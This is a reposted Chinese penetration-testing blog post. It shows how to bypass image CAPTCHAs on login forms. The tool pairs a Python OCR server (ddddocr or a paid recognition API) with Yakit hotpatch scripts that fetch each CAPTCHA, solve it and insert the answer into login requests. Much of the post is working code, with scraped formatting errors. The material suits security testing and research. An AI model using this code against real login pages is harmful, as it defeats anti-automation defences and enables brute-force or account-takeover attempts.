『渗透测试』前端图形验证码绕过

admin 2025年4月6日23:06:28评论7 views字数 7422阅读24分44秒阅读模式

点击蓝字 关注我们

日期:2025年04月01日

作者:YuKong

介绍:配合yakit热加载实现对图形验证码的识别绕过。

0x00 前言

之前使用Burpsuite一直在用算命瞎子写的图形验证码识别工具。后来不小心把Burpsuite删了,也懒得折腾索性改用了国产工具yakit。接下里的内容就是基于算命瞎子写的图形验证码识别脚本的二次开发以及yakit热加载的使用。

0x01 前置知识

1.1 yakit热加载

热加载中存在两个特殊的魔术方法即beforeRequestafterRequest,顾名思义就是在请求之前或请求之后调用该函数。我们这里的思路就是在登录请求发出之前,调用beforeRequest函数请求获得图形验证码并且发送到验证码识别工具,获取识别后的结果。最后将识别后的结果加载到登录请求中,从而实现图形验证码的绕过。

『渗透测试』前端图形验证码绕过

https://www.yaklang.io/products/Web%20Fuzzer/fuzz-hotpatch/

1.2 图形验证码识别

算命瞎子写的脚本:

xp_CAPTCHA 白嫖版:

https://github.com/smxiazi/NEW_xp_CAPTCHA

xp_CAPTCHA API版:

https://github.com/smxiazi/xp_CAPTCHA

0x02 工具开发

2.1 图形验证码识别

主要代码如下:

(1)选择POST传入两个参数如果是模式1或者模式2则使用python的第三方库ddddocr进行识别。如果是模式3,则使用API接口进行识别,我这里用的是图鉴(http://www.ttshitu.com/)。

模式1

try:            if self.path != '/recognize':                self.send_error(404"Page not Found!")                return            img_name = f"temp/{time.time()}.png"            req_datas = self.rfile.read(int(self.headers['content-length'])).decode()            json_req_datas = {k: v[0for k, v in parse_qs(req_datas).items()}            mode = json_req_datas.get("mode""1")            image_url = json_req_datas.get("image_url""")            image_base64 = json_req_datas.get("image_base64""")            image_base64 = image_base64.replace(" ""+")            # print(image_base64)            if mode == "1":  # 本地 ddddocr 识别 - 通过 URL                response = requests.get(image_url, timeout=5, verify=False)                if response.status_code != 200:                    self.send_error(400"无法下载验证码")                    return                with open(img_name, 'wb'as f:                    f.write(response.content)                text = ocr.classification(response.content)

模式2

            elif mode == "2":  # 本地 ddddocr 识别 - 通过 Base64                image_data = base64.b64decode(image_base64)                with open(img_name, 'wb'as f:                    f.write(image_data)                text = ocr.classification(image_data)

模式3

def recognize_captcha_api(image_url, image_path):    """ 按照 `xp_CAPTCHA.py` 处理模式 3,调用 `http://api.ttshitu.com/predict` 进行识别 """    try:        # 下载验证码图片        response = requests.get(image_url, timeout=5, verify=False)        if response.status_code != 200:            print(f"[ERROR] 无法下载验证码图片: {image_url}")            return "0000"        # 保存到本地        with open(image_path, 'wb'as f:            f.write(response.content)        # 转换为 Base64        image_base64 = base64.b64encode(response.content).decode("utf-8")        # 调用 API 识别,需要填入自己注册的账号密码        payload = {            "username": TTSHITU_USERNAME,            "password": TTSHITU_PASSWORD,            "typeid""3",            "image": image_base64        }        api_response = requests.post(TTSHITU_API_URL, json=payload)        result = api_response.json()        if result.get("success"):            return result["data"]["result"]        else:            print(f"[ERROR] 识别失败: {result.get('message''未知错误')}")            return "0000"    except Exception as e:        print(f"[ERROR] 请求验证码识别接口失败: {e}")        return "0000"elif mode == "3":  # 远程 API 识别 - 通过 URL                text = recognize_captcha_api(image_url, img_name)

(2)同时使用前端页面记录验证码识别日志:

class Resquest(BaseHTTPRequestHandler):    """ 处理 HTTP 请求 """    def do_GET(self):        """ 提供前端网页 UI """        if self.path != '/':            self.send_error(404, "Page not Found!")            return        with open('temp/log.txt', 'r') as f:            content = f.read()        html_content = f"""        <html>        <head>            <title>验证码识别</title>            <style>                body {{ text-align: center; font-family: Arial, sans-serif; }}                table {{ border-collapse: collapse; width80%margin: auto; }}                thtd {{ border1px solid black; padding10pxtext-align: center; }}                th {{ background-color#f2f2f2; }}                inputbutton {{ padding10pxmargin5px; }}            </style>            <script>                function sendCaptchaRequest(mode) {{                    var requestData = {{}};                    if (mode === 1 || mode === 3) {{                        requestData = {{                            mode: mode.toString(),                            image_url: document.getElementById("image_url").value                        }};                    }} else if (mode === 2) {{                        requestData = {{                            mode: "2",                            image_base64: document.getElementById("image_base64").value                        }};                    }}                    fetch("/recognize", {{                        method: "POST",                        headers: {{                            "Content-Type""application/x-www-form-urlencoded"                        }},                        body: new URLSearchParams(requestData).toString()                    }})                    .then(response => response.text())                    .then(data => {{                        document.getElementById("result").innerHTML = "识别结果: " + data;                    }})                    .catch(error => {{                        console.error("请求错误:", error);                    }});                }}            </script>        </head>        <body>            <h1>验证码识别服务</h1>            <h2>模式 1 - 本地识别 (ddddocr, 图片 URL)</h2>            <inputtype="text"id="image_url"placeholder="输入验证码图片 URL">            <buttononclick="sendCaptchaRequest(1)">提交</button>            <h2>模式 2 - 本地识别 (ddddocr, Base64)</h2>            <textareaid="image_base64"rows="5"cols="50"placeholder="输入图片 Base64"></textarea>            <buttononclick="sendCaptchaRequest(2)">提交</button>            <h2>模式 3 - 远程 API 识别 (API, 图片 URL)</h2>            <buttononclick="sendCaptchaRequest(3)">调用 API 识别</button>            <pid="result"></p>            <h2>识别记录</h2>            <table>                <tr>                    <th>验证码</th><th>识别结果</th><th>时间</th><th>模式</th>                </tr>                {content}            </table>        </body>        </html>        """        self.send_response(200)        self.send_header('Content-type', 'text/html; charset=UTF-8')        self.end_headers()        self.wfile.write(html_content.encode())

经过长时间使用下来发现还是花钱的准确率更高啊。实现效果如下:

『渗透测试』前端图形验证码绕过
『渗透测试』前端图形验证码绕过

2.2 yakit热加载

因为热加载的局限性(我太菜了),所以选择使用两种热加载脚本分别传输模式12和模式3 。

『渗透测试』前端图形验证码绕过

传输模式12代码:

beforeRequest = func(req) {    // 发送 HTTP 请求并接收响应header=`GET /xxx/getImage?_=1741665974000 HTTP/1.1Host: xxx.xxx.xxx`imgPacketRsp, err = poc.HTTP(header, poc.https(true))~    // ====== 声明变量 ======b64Img = ""  // 用于存储验证码的 Base64 编码mode = 2    // 用于指示识别模式    // 获取响应头中的 Content-TypecontentType = poc.GetHTTPPacketHeader(imgPacketRsp, "Content-Type")        // 判断响应类型if re.Find(contentType, "^[a-z]+")=="image" {        // 响应为图片类型    imgData = poc.GetHTTPPacketBody(imgPacketRsp)    b64Img = codec.EncodeBase64(imgData)    mode = 2  // 模式 1else {        // 响应为 JSON,包含 Base64 编码的图片数据    b64Img = poc.GetHTTPPacketBody(imgPacketRsp)    if b64Img == "" {        print("未找到 img_data")        // return req    }    mode = 2  // 模式 2    }    // ====== 构造 OCR 请求 ======ocrReq = f"mode="+mode + "&image_base64="+b64ImgocrPacket = f"POST /recognize HTTP/1.1rn" +            f"Host: 127.0.0.1:8899rn" +            "Content-Type: application/x-www-form-urlencodedrn" +            f"Content-Length: {len(ocrReq)}rnrn" +            ocrReq    // ====== 调用 OCR 服务 ======ocrRsp, err = poc.HTTP(ocrPacket)~ocrResult = string(poc.GetHTTPPacketBody(ocrRsp))    // ====== 替换占位符 ======    req = re.ReplaceAll(req, "__ocr__", ocrResult)    return req}

传输模式3代码:

beforeRequest = func(req) {    // ====== 构造 OCR 请求 ======ocrReq = f"mode=3&image_url=https://xxx.xxx.xxx/getImage"ocrPacket = f"POST /recognize HTTP/1.1rn" +            f"Host: 127.0.0.1:8899rn" +            "Content-Type: application/x-www-form-urlencodedrn" +            f"Content-Length: {len(ocrReq)}rnrn" +            ocrReq    // ====== 调用 OCR 服务 ======ocrRsp, err = poc.HTTP(ocrPacket)~ocrResult = string(poc.GetHTTPPacketBody(ocrRsp))    // ====== 替换占位符 ======    req = re.ReplaceAll(req, "__ocr02__", ocrResult)    return req}

0x03 使用效果

(1)登录功能处抓包:

『渗透测试』前端图形验证码绕过

(2)点击右上角热加载,将对应代码放入并点击保存:

『渗透测试』前端图形验证码绕过

(3)将需要传入验证码的参数处填入标识符号,我这里是__ocr__

『渗透测试』前端图形验证码绕过

(4)发包查看结果,可以看到成功率还是挺高的。

『渗透测试』前端图形验证码绕过
『渗透测试』前端图形验证码绕过

0x03 总结

原始工具是将xp_CAPTCHA白嫖版和xp_CAPTCHA API版分了两个脚本来写。但是我这里后面可能会在不同的场景用不同的方式来进行识别(懂的都懂),所以整合到一个脚本里方便后续使用。

『渗透测试』前端图形验证码绕过

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程研究中心”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

『渗透测试』前端图形验证码绕过

原文始发于微信公众号(黑白之道):『渗透测试』前端图形验证码绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月6日23:06:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『渗透测试』前端图形验证码绕过https://cn-sec.com/archives/3917639.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息